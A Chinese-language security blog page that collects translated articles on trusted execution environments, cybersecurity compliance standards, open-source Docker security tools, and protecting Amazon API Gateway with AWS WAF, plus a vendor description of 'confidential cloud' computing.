安全技术
视频号
微信公众号
知识星球
- 158 次浏览
【安全技术】可信的执行环境
可信执行环境(TEE)是主处理器的安全区域。它保证加载在内部的代码和数据在保密性和完整性方面受到保护,数据完整性-当TEE外部的任何实体处理数据时,防止未经授权的实体更改数据,代码完整性-TEE中的代码不能被未经授权实体替换或修改,也可能是计算机所有者本身,如SGX中描述的某些DRM方案。这是通过实现独特、不可变和机密的体系结构安全来实现的,如Intel®Software Guard Extensions(Intel®SGX),它提供基于硬件的内存加密,隔离内存中的特定应用程序代码和数据。Intel®SGX允许用户级代码分配称为enclaves的私有内存区域,这些内存区域旨在防止以更高权限级别运行的进程。[1] [2][3]作为隔离执行环境的TEE提供了安全特性,例如隔离执行、使用TEE执行的应用程序的完整性以及其资产的机密性。[4] 一般来说,TEE提供的执行空间为设备上运行的受信任应用程序提供了比富操作系统(OS)更高级别的安全性,并比“安全元素”(SE)提供了更多功能。
历史
开放移动终端平台(OMTP)在其“高级可信环境:OMTP TR1”标准中首次定义了TEE,将其定义为“提供支持应用程序所需设施的一组硬件和软件组件”,必须满足两个定义的安全级别之一的要求。第一个安全级别Profile 1仅针对软件攻击,而Profile 2针对软件和硬件攻击。[5]
基于ARM TrustZone技术的商业TEE解决方案符合TR1标准,随后推出,例如Trusted Logic开发的Trusted Foundations。[6]
OMTP标准的工作于2010年中期结束,当时该集团过渡到批发应用社区(WAC)。[7]
OMTP标准,包括那些定义TEE的标准,由GSMA托管
细节
TEE通常由硬件隔离机制和在该隔离机制之上运行的安全操作系统组成,然而,该术语通常用于表示受保护的解决方案。[9] [10][11][12]虽然GlobalPlatform TEE需要硬件隔离,但其他公司(如EMVCo)使用术语TEE指硬件/软件,仅指基于软件的解决方案。[13] FIDO在基于硬件隔离的TEE受限操作环境中使用TEE概念。[14] 只有在TEE中运行的受信任应用程序才能访问设备的主处理器、外围设备和内存的全部功能,而硬件隔离保护这些设备免受在主操作系统中运行的用户安装应用程序的影响。TEE内的软件和加密隔离可相互保护其中包含的受信任应用程序。[15]
服务提供商、移动网络运营商(MNO)、操作系统开发人员、应用程序开发人员、设备制造商、平台提供商和硅供应商是围绕TEE开展标准化工作的主要利益相关者。
为了防止用用户控制的软件模拟硬件,使用了所谓的“硬件信任根”。这是一组在制造过程中直接嵌入芯片的私钥;移动设备上通常使用eFuse等一次性可编程存储器。即使在设备重置后,这些参数也无法更改,它们的公共对应项与属于受信任方(通常是芯片供应商)的公钥的非机密哈希一起驻留在制造商数据库中,用于在执行加密操作和控制访问的电路旁签署受信任固件。硬件的设计方式可以防止所有未经受信任方密钥签名的软件访问特权功能。供应商的公钥在运行时提供并哈希;然后将该散列与芯片中嵌入的散列进行比较。如果哈希匹配,则公钥用于验证受信任的供应商控制固件的数字签名(例如安卓设备上的引导加载程序链或SGX中的“架构飞地”)。然后,可信固件用于实现远程认证。[16]
当应用程序被证明时,它的不受信任组件将其受信任组件加载到内存中;受信任的应用程序受到保护,不会被硬件上不受信任的组件修改。不受信任方从验证器的服务器请求nonce,并将其用作加密身份验证协议的一部分,以证明受信任应用程序的完整性。证据被传递给验证者,验证者对其进行验证。无法在模拟硬件(即QEMU)中计算有效证明,因为为了构造它,需要访问烘焙到硬件中的密钥;只有受信任的固件可以访问这些密钥和/或从中派生或使用它们获得的密钥。因为只有平台所有者才能访问铸造厂记录的数据,所以验证方必须与供应商设置的服务进行交互。如果方案实施不当,芯片供应商可以跟踪在哪个芯片上使用了哪些应用程序,并通过返回表明身份验证未通过的消息选择性地拒绝服务。[17]
为了模拟硬件,使其能够非法通过远程身份验证,攻击者必须从硬件中提取密钥,因为执行该硬件所需的设备和技术技能非常昂贵。例如,使用聚焦离子束、扫描电子显微镜、微探针和芯片去封装[18][19][20][21][22][23],或者甚至不可能,如果硬件的设计方式使得逆向工程破坏了密钥。在大多数情况下,每个硬件的密钥都是唯一的,因此从一个芯片提取的密钥不能被其他芯片使用(例如,物理上不可识别的功能[24][25])。
虽然所有权剥夺不是TEE的固有属性(系统设计可能只允许首先获得设备所有权的用户控制系统),但实际上,消费电子产品中的所有此类系统都是有意设计的,以允许芯片制造商控制对认证及其算法的访问。它允许制造商仅向与制造商签订(通常是商业)业务协议的软件开发人员授予访问TEE的权限,并允许使用诸如虚拟化和DRM之类的用例。
使用
TEE有许多用例。虽然并非所有可能的用例都利用所有权剥夺,但TEE通常正是用于此目的。
高级内容保护/数字版权管理
注:许多TEE文献在“优质内容保护”的定义下涵盖了这个主题,这是许多版权所有者的首选术语。高级内容保护是数字版权管理(DRM)的一个特定用例,在一些社区(如自由软件基金会)中存在争议。[26]版权持有人广泛使用它来限制最终用户消费4K高清电影等内容的方式。
TEE是一个合适的环境,用于保护智能手机、平板电脑和高清电视等连接设备上的数字编码信息(例如高清电影或音频)。这种适用性源于TEE能够阻止设备所有者读取存储的机密,以及TEE与设备上的显示器和/或子系统之间通常存在受保护的硬件路径这一事实。
TEE用于在内容位于设备上时保护内容:虽然内容在传输或流式传输过程中通过使用加密进行保护,但一旦内容在设备上解密,TEE将通过确保解密的内容不会暴露在未经应用程序开发人员或平台供应商批准的环境中来保护内容。
移动金融服务
移动商务应用程序,例如:移动钱包、点对点支付、非接触式支付或使用移动设备作为销售点(POS)终端,通常都有明确的安全要求。TEE通常可与近场通信(NFC)、SE和可信后端系统结合使用,以提供进行金融交易所需的安全性
在某些情况下,需要与最终用户进行交互,这可能需要用户向移动操作系统公开PIN、密码或生物识别码等敏感信息,作为验证用户身份的手段。TEE可选地提供可用于在移动设备上构造用户身份验证的可信用户界面。
随着加密货币的兴起,TEE越来越多地被用于实现加密钱包,因为它们能够比常规操作系统更安全地存储令牌,并可以提供必要的计算和身份验证应用程序。[27]
认证
TEE非常适合支持生物识别ID方法(面部识别、指纹传感器和语音授权),这可能比PIN和密码更容易使用,更难窃取。身份验证过程通常分为三个主要阶段:
- 将参考“模板”标识符存储在设备上,以便与下一阶段提取的“图像”进行比较。
- 提取“图像”(例如扫描指纹或捕获语音样本)。
- 使用匹配引擎比较“图像”和“模板”。
TEE是移动设备中一个很好的区域,可以容纳匹配引擎和认证用户所需的相关处理。该环境旨在保护数据,并针对移动操作系统中的非安全应用程序建立缓冲区。这种额外的安全性有助于满足服务提供商的安全需求,并降低手机开发商的成本。
企业、政府和云
政府、企业和云服务提供商可以使用TEE安全处理移动设备和服务器基础设施上的机密信息。TEE对移动操作系统中产生的软件攻击提供了一定程度的保护,并有助于控制访问权限。它通过存储敏感的“可信”应用程序来实现这一点,这些应用程序需要与移动操作系统和可能存在的任何恶意恶意软件隔离和保护。通过利用TEE提供的功能和安全级别,政府和企业可以放心,员工使用自己的设备是安全可靠的。同样,基于服务器的TEE有助于抵御针对后端基础设施的内部和外部攻击。
安全的模块化编程
随着软件资产和重用的增加,模块化编程通过将功能分解为小的独立模块,成为设计软件架构的最高效的过程。由于每个模块都包含执行其所需功能所需的一切,因此TEE允许组织具有高可靠性和安全性的完整系统,同时防止每个模块受到其他模块的漏洞。
为了让模块进行通信和共享数据,TEE提供了在模块之间安全地发送/接收有效负载的方法,使用诸如对象序列化之类的机制以及代理。
参见基于组件的软件工程
TEE操作系统
Company | Product | Hardware Used | API Standard | Certification type | References |
---|---|---|---|---|---|
Alibaba | Cloud Link TEE | GlobalPlatform | Full | [28] | |
Apple | iOS Secure Enclave | Separate processor | Proprietary | [29] | |
BeanPod | Arm TrustZone | GlobalPlatform | [30] | ||
Huawei | iTrustee | Arm TrustZone | GlobalPlatform | Full | [31] |
Trusty | ARM / Intel | Proprietary | [32] | ||
Linaro | OPTEE | Arm TrustZone | GlobalPlatform | [33] | |
Qualcomm | QTEE | ARM TrustZone | GlobalPlatform + Proprietary | [34] | |
Samsung | TEEgris | Arm TrustZone | GlobalPlatform | Full | [35] |
TrustKernel | T6 | Arm / Intel | GlobalPlatform | [36] | |
Trustonic | Kinibi | Arm TrustZone | GlobalPlatform | Full | [37] |
Trustonic | SW TEE | SW TEE on | GlobalPlatform | [37] | |
Watchdata | WatchTrust | Arm TrustZone | GlobalPlatform | Full | [38] |
硬件支持
以下硬件技术可用于支持TEE实施:
- AMD:
- ARM:
- IBM:
- IBM Secure Service Container,[45] formerly zACI, first introduced in IBM z13 generation machines (including all LinuxONE machines) in driver level 27.[46]
- IBM Secure Execution,[47] introduced in IBM z15 and LinuxONE III generation machines on April 14, 2020.
- Intel:
- Trusted Execution Technology
- SGX Software Guard Extensions[48]
- "Silent Lake" (available on Atom processors)[49][50][51]
- RISC-V:
See also[edit]
- Open Mobile Terminal Platform
- Trusted Computing Group
- FIDO Alliance
- Java Card
- Intel Management Engine
- Intel LaGrande
- Software Guard Extensions
- AMD Platform Security Processor
- Trusted Platform Module
- ARM TrustZone
- NFC Secure Element
- Next-Generation Secure Computing Base
本文:
- 165 次浏览
【网络安全标准】网络安全标准和框架
视频号
微信公众号
知识星球
什么是网络安全标准?
网络安全标准是组织可以用来改善其网络安全态势的一套指导方针或最佳实践。
组织可以使用网络安全标准来帮助他们识别和实施适当的措施,以保护他们的系统和数据免受网络威胁。标准还可以为如何应对网络安全事件和从中恢复提供指导。
网络安全框架通常适用于所有组织,无论其规模、行业或部门如何。本页详细介绍了常见的网络安全合规标准,这些标准为任何网络安全战略奠定了坚实的基础。
DFARS(国防部联邦采购条例补充)
DFARS(Defense Federal Acquisition Regulation Supplement)是国防部发布的一套法规,对《联邦采购条例》进行了补充。DFARS为国防部获取物资和服务提供指导和程序。
与国防部有业务往来的国防部政府采购官员、承包商和分包商必须遵守DFARS。
FISMA(联邦信息安全管理法案)
FISMA(联邦信息安全管理法案)是一项美国联邦法律,作为2002年电子政府法案的第三章颁布。该法律为确保所有行政部门机构的信息和信息系统的安全建立了一个全面的框架。
FISMA旨在加强联邦机构、NIST和OMB(管理和预算办公室)内部的信息安全。它要求联邦机构实施信息安全计划,以确保其信息和It系统的机密性、完整性和可用性,包括由其他机构或承包商提供或管理的信息和信息系统。
HIPAA(健康保险便携性和责任法案)
HIPAA(健康保险便携性和责任法案)是一套保护患者健康信息隐私的联邦法规。HIPAA适用于所有形式的健康信息,包括纸质记录、电子记录和口头交流。
它旨在让人们在换工作时更容易保留健康保险,保护医疗保健信息的机密性和安全性,并帮助医疗保健行业控制其管理成本。
ISO 22301
ISO 22301是一项国际标准,概述了组织如何确保业务连续性并保护自己免受灾难的影响。本标准为全面的BCMS(业务连续性管理系统)提供了一个框架。它可以由任何组织使用,无论其规模、行业或位置如何。
ISO/IEC 27001
ISO 27001是一项信息安全的国际标准,为管理敏感的公司信息提供了一个框架。该标准包括开发ISMS(信息安全管理系统)、实施安全控制和进行风险评估的要求。
该标准的框架旨在帮助组织在一个地方统一、一致且经济高效地管理其安全实践。
ISO/IEC 27002
ISO 27002是信息安全管理的实施规范。它就如何在组织内实施安全控制提供了指导和建议。ISO 27002支持ISO 27001标准,该标准提供了ISMS的要求。
ISO/IEC 27031
ISO 27031是为业务连续性做好ICT(信息和通信技术)准备的标准。它就各组织如何使用信息和通信技术来保护其业务运营并确保在发生事故或灾难时的连续性提供了指导。
遵守ISO 27031有助于组织了解信息和通信技术服务面临的威胁,确保在发生意外事件时的安全。
ISO/IEC 27032
ISO 27032是国际公认的标准,为组织提供网络安全指导。该标准旨在帮助组织保护自己免受网络攻击,并管理与技术使用相关的风险。它基于风险管理方法,并就如何识别、评估和管理网络风险提供指导。该标准还包括事故响应和恢复指南。
ISO/IEC 27701
ISO 27701规定了基于ISO 27001要求的PIMS(隐私信息管理系统)要求。它由一组特定于隐私的要求、控制目标和控制进行扩展。
实施了ISO 27001的组织可以使用ISO 27701将其安全工作扩展到隐私管理。这有助于证明遵守数据保护法,如《加利福尼亚隐私权法案》(CPRA)和《欧盟通用数据保护条例》(GDPR)。
NIST CSF(网络安全框架)
NIST CSF(美国国家标准与技术研究所网络安全框架)是一个自愿框架,为管理网络安全风险提供了一套标准、指南和最佳实践。
该框架有助于组织以结构化和可重复的方式识别、评估和管理其网络安全风险。该框架不是强制性的,但越来越多的组织将其作为改善网络安全态势的自愿措施。
- 23 次浏览
云安全
- 106 次浏览
【云安全】10多个用于Docker安全性的顶级开源工具
对于容器安全性,你会发现许多开源工具可以帮助防止像特斯拉那样遭受Kubernetes集群破坏的另一场崩溃。但容器安全性仍然很棘手,因此您需要知道要添加到您的库中的实用程序。
如果您花时间选择最佳的应用程序安全测试工具并确保您的应用程序尽可能安全,那么您不希望它在不安全的容器上运行。幸运的是,那里有商业容器安全产品,但开源项目也可以带你走得很远。许多人专注于审计,跟踪由CIS,国家漏洞数据库和其他机构建立的常见漏洞和暴露(CVE)数据库和基准。然后,工具扫描容器图像,显示其内容,并将内容与已知漏洞的这些清单进行比较。
通过帮助团队在构建管道的早期捕获问题,自动化容器审计以及使用其他容器安全流程可以为企业带来巨大的好处。
虽然有很多开源容器安全工具,但这里有最好的,最成熟的用户社区。
1. Docker Bench for Security
用于根据安全基准审核Docker容器的脚本
面向使用Docker社区版管理容器的开发人员,Docker Bench for Security是Docker的开源脚本,用于审核容器以防止常见的安全最佳实践。
Docker Bench的测试基于行业标准的CIS基准测试,帮助实现手动漏洞测试的繁琐过程自动化。
Docker的安全负责人DiogoMónica将其描述为“测试容器的容器”。您可以按如下方式启动容器:
docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /var/lib:/var/lib \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/lib/systemd:/usr/lib/systemd \ -v /etc:/etc --label docker_bench_security \ docker/docker-bench-security
结果会为每个安全配置基准测试发出Info,Warning和Pass日志。您也可以从Docker主机运行此实用程序,通过Docker Compose克隆它,或直接从基本主机运行它。
一个缺点是输出结果缺乏机器可读性。许多社区软件包,如Docker Bench Test,drydock和Actuary,都在Docker Bench上得到改进。
2. Clair
API驱动的静态容器安全性分析,具有庞大的CVE数据库
Clair由CoreOS构建,对容器漏洞进行静态分析。它也用在Quay.io中,这是一个替代Docker Hub的公共容器注册表。
Clair引入了许多漏洞数据源,例如Debian Security Bug Tracker,Ubuntu CVE Tracker和Red Hat Security Data。由于Clair消耗了如此多的CVE数据库,因此其审计非常全面。
Clair首先索引容器图像中的功能列表。然后,使用Clair API,开发人员可以在数据库中查询与特定映像相关的漏洞。
要开始使用Clair,请参阅Running Clair指南。将它部署到Kubernetes集群很容易:
git clone https://github.com/coreos/clair cd clair/contrib/helm cp clair/values.yaml ~/my_custom_values.yaml vi ~/my_custom_values.yaml helm dependency update clair helm install clair -f ~/my_custom_values.yaml
Clair的功能集非常灵活。它允许您添加自己的驱动程序以用于其他行为。此外,对审计特定容器映像进行单独的API调用是一种流畅的,机器驱动的替代方法,可以通过大量的报告日志进行搜索。
3. Cilium
内核层的API感知网络和安全性
Cilium致力于保护网络连接。 Cilium与Linux容器平台(如Docker和Kubernetes)兼容,增加了安全可见性和控制逻辑。
它由BPF(以前称为Berkeley数据包过滤器)提供支持,这是一种Linux内核技术。其低级实现的有趣方面是您可以在不更改应用程序代码或容器配置的情况下应用和更新Cilium安全策略。
CoreOS开发了Cilium,以响应现代微服务开发和快速容器部署的不稳定生命周期。将它与Kubernetes集成是很简单的;以下是如何使用本地更改部署Cilium:
$ kubectl create -f ./cilium.yaml clusterrole "cilium" created serviceaccount "cilium" created clusterrolebinding "cilium" created configmap "cilium-config" created secret "cilium-etcd-secrets" created daemonset "cilium" created $ kubectl get ds --namespace kube-system NAME DESIRED CURRENT READY NODE-SELECTOR AGE cilium 1 1 1 <none> 2m
Cilium周围的支持和社区非常棒。你会找到大量的指南和文档,一个专门的Slack频道,甚至每周一次与项目维护人员进行环聊。
4. Anchore
使用CVE数据和用户定义的策略检查容器安全性的工具
Anchore Engine是一种用于分析容器图像的工具。除了基于CVE的安全漏洞报告之外,Anchore Engine还可以使用自定义策略评估Docker镜像。
策略导致通过或失败结果。策略基于白名单或黑名单,凭据,文件内容,配置类型或其他用户生成的提示。
Anchore打包为Docker容器映像,可以独立运行,也可以在Kubernetes等业务流程平台上运行。它还有用于CI / CD的Jenkins和GitLab集成。
Anchore命令行界面(CLI)是一种操作Anchore Engine的简便方法。例如,此CLI命令返回有关图像内容的详细信息:
anchore-cli image content INPUT_IMAGE CONTENT_TYPE
此示例命令将对映像执行漏洞扫描:
anchore-cli image vuln docker.io/library/debian:latest os
Anchore输出漏洞详细信息,威胁级别,CVE标识符和其他相关信息的列表。由于用户定义的规则是使用Anchore Cloud Service图形用户界面(GUI)创建的,因此它的运行方式与SaaS类似。
5. OpenSCAP Workbench
用于为各种平台创建和维护安全策略的环境
OpenSCAP是IT管理员和安全审核员的生态系统,包括许多开放式安全基准指南,配置基线和开源工具。
在Fedora,Red Hat Enterprise Linux,CentOS或Scientific Linux上运行的人可以将OpenSCAP Workbench安装为GUI,以在虚拟机,容器和映像上运行扫描。使用以下命令安装OpenSCAP Workbench:
#yum install scap-workbench
要根据SCAP策略指南和CVE验证容器,请使用OpenSCAP附带的oscap-docker实用程序。
OpenSCAP以NIST认证的安全内容自动化协议(SCAP)为中心,并提供许多机器可读的安全策略。 OpenSCAP安全指南指出,该项目的目标是“允许多个组织通过避免冗余来有效地开发安全内容”。
由于OpenSCAP比此列表中的其他人更广泛,因此对于希望为整个平台创建安全策略的团队而言,它是一个不错的选择。
6. Dagda
用于扫描Docker容器中的漏洞,特洛伊木马,病毒和恶意软件的工具
Dagda是另一种用于容器安全性静态分析的工具。它的CVE源包括OWASP依赖性检查,Red Hat Oval和攻击性安全漏洞利用数据库。
要使用Dagda扫描Docker容器,首先要使用漏洞数据填充Mongo数据库。执行此命令以分析单个Docker镜像:
python3 dagda.py check --docker_image jboss/wildfly
您可以远程运行它,也可以不断调用它来监视活动的Docker容器。输出显示漏洞数,严重性级别和其他详细信息以帮助修复。
Dagda的一个好处是可以广泛覆盖漏洞数据。这意味着可以直接访问大量更新,全面的漏洞利用集合。它也很灵活,您可以通过CLI和REST API来控制它。
7. Notary
用于通过加密方式委派责任的服务器来提高容器安全性的框架
公证人是事实上的Docker图像签名框架,现在开源其他实现。 Docker开发了它,然后在2017年将其捐赠给了Cloud Native Computing Foundation。
公证就是责任分离;使用Notary,开发人员可以委派角色并在容器之间定义职责。该软件包提供服务器和客户端,以提供发布和验证内容的加密安全方法。
要在本地部署Notary,请通过克隆repo来开始。接下来,使用Docker Compose部署本地配置:
$ docker-compose build $ docker-compose up -d $ mkdir -p ~/.notary && cp cmd/notary/config.json cmd/notary/root-ca.crt ~/.notary
依赖于Update Framework和Go语言作为依赖关系,Notary可以验证容器应用程序映像的加密完整性。
8. Grafaes
用于帮助管理内部安全策略的元数据API
Grafaes可以极大地帮助您创建自己的容器安全扫描项目。该容器安全工具于2017年底宣布,由IBM和Google开发。
开发人员可以使用Grafaes(称为“组件元数据API”)来定义虚拟机和容器的元数据。 IBM的Vulnerability Advisor也集成到项目中。
有关可靠的案例研究,请参阅Shopify如何使用Grafaes管理500,000个容器图像的元数据。与Kritis合作,该团队在使用Grafeas元数据的Kubernetes集群上实施安全策略。
能够快速获取容器元数据有助于加快补救尝试,从而减少从利用到解决的窗口。虽然Grafaes是开源的,但它由大型软件提供商维护 - 这对长期支持是有益的。
9. Sysdig Falco
提供深度容器可见性的行为活动监控
Falco是一种由Kubernetes识别的安全审计工具,由Sysdig开发,强调对容器,主机和网络活动的行为监控。使用Falco,开发人员可以对其基础架构进行连续检查,检测异常情况,并为任何类型的Linux系统调用设置警报。
Falco文档建议用户将Falco作为Docker容器运行。可以使用这些命令安装它。实施后,标准输出Falco警报如下所示:
stdout_output: enabled: true 10:20:05.408091526: Warning Sensitive file opened for reading by non-trusted program
使用Falco监视shell在容器中运行的时间,容器已安装,敏感文件的意外读取,出站网络尝试或其他可疑调用。 Sysdig在此提供了更多容器故障排除材料。
10. Banyanops Collector
Docker容器图像的静态分析框架
在Banyanops的支持下,Collector是一个开源实用程序,可用于“窥视”Docker容器图像文件。使用Collector,开发人员可以收集容器数据,实施安全策略等。
首先,Banyanops可以在私有注册表上运行,也可以作为Docker Hub上的容器运行。 Banyanops还提供可提供更深入数据分析的SaaS产品,因此如果您遇到有限的功能,请注意向上销售。
尊敬的开源
- Dockscan:具有少量提交的安全漏洞扫描程序
- Batten:类似于Docker Bench的审计工具包,但具有非活动支持
- BlackDuck Docker安全性:作为Web服务构建的容器映像安全扫描工具。遗憾的是,目前的形式并未建议使用生产
- Inspec:具有Docker容器测试功能的审计和测试框架
你的旅费可能会改变
由于容器化已经发展成为一种流行的部署方式,因此需要使用适当的安全控制来扩充这些容器是至关重要的。值得庆幸的是,您将找到一个强大的开源安全解决方案生态系统,这些解决方案已针对许多不同的环境进行了定制。
这些工具的整体强度取决于所进行的检查的深度。有效性还取决于CVE数据库和基准本身继续使用新漏洞更新数据并发布新的最佳实践。值得庆幸的是,正在努力缩短零日漏洞利用和容器漏洞检测之间的时间。
开发人员还将倾向于使用具有更好体验的工具,这将减少日志结果中的噪音和重复。这种粒度偏好只能通过反复试验来确定,具体取决于您的构建例程和个人偏好。
原文:https://techbeacon.com/security/10-top-open-source-tools-docker-security
本文:http://pub.intelligentx.net/10-top-open-source-tools-docker-security
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 87 次浏览
【云安全】Amazon API网关增加了对AWS WAF的支持
本文由Heitor Lessa提供,AWS专业解决方案架构师- Serverless
今天,我很兴奋地向您介绍Amazon API网关与AWS WAF的本地集成。以前,如果希望使用AWS WAF在Amazon API网关中保护API,就必须部署一个区域性API端点,并使用自己的Amazon CloudFront发行版。现在,这个新特性允许您提供任何—API网关端点,并使用AWS WAF保护它,而无需配置自己的CloudFront发行版来添加该功能。
在本系列的第1部分中,我描述了如何使用AWS WAF保护API网关提供的API。
在本系列的第2部分中,我描述了如何使用API密钥作为CloudFront发行版和API网关之间的共享秘密,以确保在API网关中对API的公共访问是安全的。这种新的AWS WAF集成意味着不再需要第2部分中描述的方法。
下面的图像描述了在这个特性可用之前和之后在API网关中保护API的方法。
地点:
- AWS WAF仅保护CloudFront端点。
- AWS WAF本地保护Amazon API网关端点。
为Amazon API网关管理的API启用AWS WAF
对于本演练,您可以使用现有的宠物商店API或您可能已经部署的API Gateway中的任何API。您将创建一个新的AWS WAF web ACL,该ACL稍后与您的API网关阶段相关联。
按照以下步骤创建web ACL:
- 打开AWS WAF控制台。
- 选择Create web ACL。
- 对于Web ACL名称,输入ApiGateway-HTTP-Flood-Sample。
- 对于地区,选择美国东部(北弗吉尼亚)。
- 选择Next,直到您达到步骤3:创建规则。
- 选择Create rule并输入HTTP Flood Sample。
- 对于规则类型,选择基于速率的规则。
- 对于速率限制,输入2000并选择Create。
- 对于默认操作,选择“允许不匹配任何规则的所有请求”。
- 选择Review并创建。
- 确认您的选项与下图相似,然后选择Confirm和create next。
您现在可以按照以下步骤为API网关中的现有API启用AWS WAF web ACL:
- 打开Amazon API网关控制台。
- 选择阶段,刺激。
- 在Web应用程序防火墙(Web Application Firewall, WAF)下,选择ApiGateway-HTTP-Flood-Sample(或您刚刚创建的Web ACL)。
- 选择保存更改。
在API网关中测试您的API,现在由AWS WAF保护
AWS WAF提供HTTP洪水保护,这是一个基于速率的规则。当来自客户机的web请求超过可配置阈值时,将自动触发基于速率的规则。阈值由一个IP地址在5分钟内允许的最大传入请求数定义。
在突破这个阈值之后,IP地址的其他请求将被阻塞,直到请求速率低于该阈值为止。对于本例,您将2000个请求定义为基于HTTP洪泛率规则的阈值。
火炮是一个开源的现代负载测试工具包,用于将大量请求直接发送到API网关调用URL,以测试AWS WAF本机集成是否正常工作。
首先,按照以下步骤检索正确的宠物商店API调用URL:
- 打开API网关控制台。
- 在左侧导航窗格中,打开PetStore API。
- 选择stage、选择prod并复制Invoke URL值。
其次,使用cURL查询您的分布,并在触发速率限制规则之前查看API输出:
$ curl -s INVOKE_URL/pets
[
{
"id": 1,
"type": "dog",
"price": 249.99
},
{
"id": 2,
"type": "cat",
"price": 124.99
},
{
"id": 3,
"type": "fish",
"price": 0.99
}
]
然后,用Artillery 在短时间内发送大量请求,触发你的速率限制规则:
$ artillery quick -n 2000 --count 10 INVOKE_URL/pets
使用这个命令,炮兵 artillery 从10个并发用户向PetStore API发送2000个请求。通过这样做,您可以在5分钟内触发速率限制规则。简而言之,我没有在这里发布炮兵输出。
炮兵完成任务后,尝试重新运行cURL命令。你不应该再看到宠物列表:
{“message”:”Forbidden”}
从输出中可以看到,请求被AWS WAF阻塞。当您的IP地址低于请求限制速率时,将从阻塞列表中删除。
结论
正如您所看到的,通过AWS WAF与Amazon API网关的本机集成,您不再需要管理自己的Amazon CloudFront发行版来使用AWS WAF保护您的API。AWS WAF本机集成使此过程无缝。
我希望这篇文章中的信息对你有所帮助。请记住,您现在可以将此集成用于所有Amazon API网关端点(Edge、Regional和Private)。它在下列区域提供:
- US East (N. Virginia)
- US East (Ohio)
- US West (Oregon)
- US West (N. California)
- EU (Ireland)
- EU (Frankfurt)
- Asia Pacific (Sydney)
- Asia Pacific (Tokyo)
原文:https://aws.amazon.com/cn/blogs/compute/amazon-api-gateway-adds-support-for-aws-waf/
本文:http://pub.intelligentx.net/amazon-api-gateway-adds-support-aws-waf
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 59 次浏览
【云安全】什么是机密云?
公共云基础设施内构建的私有云
机密云是在一个或多个公共云内形成的安全机密计算环境。机密云构造中的应用程序、数据和工作负载受到硬件级加密、内存隔离和其他服务的组合保护,这些服务可确保工作负载、数据和平台的完整性。
机密云是在运行时按需创建的。工作负载和数据的运行完全不受内部人员、不良参与者和恶意进程的影响,即使在物理主机出现漏洞的情况下,工作负载的各个方面也能保持安全。
Anjuna Confidential Computing软件将公共云转换为具有最强保护能力的机密云,将任何公共云转换成最安全的计算场所。Anjuna的软件允许应用程序和整个环境在机密云结构内工作,无需修改。
增加软件抽象层和虚拟化层的优势在于,机密云本身不受Intel、AMD、Amazon和ARM开发的众多专有飞地技术和版本的限制。
任何即时安全的应用程序
Anjuna机密计算软件将安全性从专有硬件和公共云实现中抽象出来,简化了云迁移和多云部署。实际上,任何定制或打包的应用程序都是在机密云中部署和运行的。不需要SDK、重新编译和重新架构。
默认情况下从内部人员和不良参与者中消除攻击面
使用Anjuna Software创建的机密云实际上没有数据攻击面。工作负载在硬件中是孤立的,使它们对坏人和恶意软件不可见。与基于软件的安全和密钥管理系统不同,密钥和其他关键工件永远无法通过公开内存访问。
Anjuna的机密计算软件作为云基础设施的一部分进行了无形部署,远远低于用户和IT流程。这使IT员工能够在无中断的情况下工作,与敏感数据完全隔离,从而降低风险并提高生产率。
所有数据都受保护,无处不在
Anjuna机密计算软件保护扩展到所有使用数据的地方,消除了过度访问,从而加剧了公共云中的内部风险。所有数据,即使是存储和联网的数据,都会使用以硬件为基础、外部管理的加密密钥进行验证和隔离,并完全隔离,以完全缓解甚至是常见的基于内存的攻击。
今日企业就绪
Anjuna软件扩展到多个公共云提供商,以无缝保护传统、打包和高度分布式的云本地应用程序的组合,这些应用程序通常构成企业产品组合。
Anjuna软件无缝集成到现有IT管理系统和流程中。简单的部署和虚拟化使it员工能够在几分钟内将易受攻击的应用程序和数据快速转换为严格控制的资源。第三方集成和API使IT组织能够利用其在关键、SIEM、CARTA、Kubernetes和其他系统上的投资。
为迁移到机密云做好准备
向您的团队提出以下问题:
- 如何保护公共云中的敏感应用程序和数据?
- 您的云提供商正在做什么来解决持续的内部威胁?
- 您是否在数据中心内或通过云提供商接触第三方?
- 如何在不受信任的地区保护您的应用程序和数据?
- 您是否担心政府传票可能要求访问客户数据?
- 您是否愿意重新编写应用程序以利用机密云技术?
- 拥有一个能够自动将关键应用程序和数据移动到安全环境中而无需重写或SDK的解决方案有多重要?
本文:
- 53 次浏览
【云安全】使用Amazon API网关和AWS WAF保护您的API -第2部分
本文由Heitor Lessa提供,AWS专业解决方案架构师- Serverless
在本博客的第1部分中,我们描述了如何使用AWS WAF保护Amazon API Gateway提供的API。在本博客中,我们将展示如何在Amazon CloudFront分发和API网关之间使用API键,以确保除了已经在API网关中设置的首选授权(AuthZ)机制之外,还可以访问API网关中的API。有关API网关中的AuthZ机制的更多信息,请参见使用Amazon Cognito联合身份、Amazon Cognito用户池和Amazon API网关的安全API访问。
我们还扩展了以前用于自动创建此解决方案的以下必要资源的AWS CloudFormation堆栈:
- API网关使用计划——管理专用于CloudFront的API密钥,以及必要时的节流和计量使用
- AWS Lambda函数——更新AWS CloudFormation堆栈参数时间戳并触发API键旋转
- Amazon CloudWatch事件调度作业——在给定的调度中触发Lambda函数
以下是使用API密钥的替代解决方案,具体取决于您的安全需求:
在CloudFront中使用随机生成的HTTP秘密头,并通过API网关请求验证进行验证
使用Lambda@Edge对传入请求进行签名,并使用API网关Lambda授权器进行验证
需求
要继续,您需要完全的权限来通过AWS CloudFormation创建、更新和删除API网关、CloudFront、Lambda和CloudWatch事件。
扩展现有AWSCloudFormation 堆栈
首先,点击这里下载完整的模板。然后按照以下步骤更新现有的AWS云形成堆栈:
- 转到AWS管理控制台并打开AWS CloudFormation控制台。
- 选择您在第1部分中创建的堆栈,右键单击它,然后选择Update stack。
- 对于选项2,选择“选择文件”并选择下载的模板。
- 填写所需的参数,如下图所示。
以下是关于这些参数的更多信息:
- 发送流量的API网关——除了没有URL模式(https://)之外,我们使用与第1部分相同的API网关URL: cxm45444t9a.execute-api.us- east2.amazonaws.com/prod
- 旋转API键——我们定义了Daily并使用2018-04-03作为时间戳值来追加API键名
继续使用AWS CloudFormation控制台完成操作。更新堆栈可能需要几分钟,因为CloudFront需要时间在所有存在点上传播更改。
在示例宠物商店API中启用API键
当堆栈在后台完成时,让我们在CloudFront将发送流量到的API中启用API键。
- 转到AWS管理控制台并打开API网关控制台。
